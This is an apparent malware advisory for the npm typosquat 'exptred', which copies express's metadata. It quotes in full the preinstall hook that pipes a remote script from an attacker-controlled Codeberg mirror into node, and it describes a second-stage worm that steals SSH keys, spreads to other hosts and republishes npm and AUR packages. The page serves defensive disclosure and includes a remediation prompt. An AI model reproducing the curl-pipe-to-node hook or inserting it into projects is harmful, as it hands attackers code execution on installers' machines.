# MAL-2026-17246: Malicious code in exptred (npm)


- **Type:** Malicious package
- **Package:** `exptred` (npm)
- **Published:** 29 Sep 2026

## What is MAL-2026-17246?

MAL-2026-17246 is a malicious package in exptred, published on 29 Sep 2026. 

### Official description

The package exptred impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

npm package `exptred@5.2.1` is a typosquat of `express`: package.json copies express's description ('Fast, unopinionated, minimalist web framework'), author (TJ Holowaychuk), repository (expressjs/express), and homepage (expressjs.com), and index.js re-exports lib/express. The tarball adds a `preinstall` lifecycle script that pipes remote JavaScript into `node`: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/... | node`. On `npm install`, whatever bytes the web.archive.org-proxied Codeberg branch currently returns are executed on the installer's host. The source is a personal Codeberg user's raw branch content — mutable, non-publisher, unpinned, and integrity-unchecked — so the operator of that branch controls arbitrary code execution on every machine that installs the package.

## What should I do about MAL-2026-17246?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17246 is a malicious package: exptred (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17246/ (Markdown: https://insights.sbomify.com/MAL-2026-17246/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17246

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-17246/
Summaries are generated and may contain mistakes; the official description above is the record.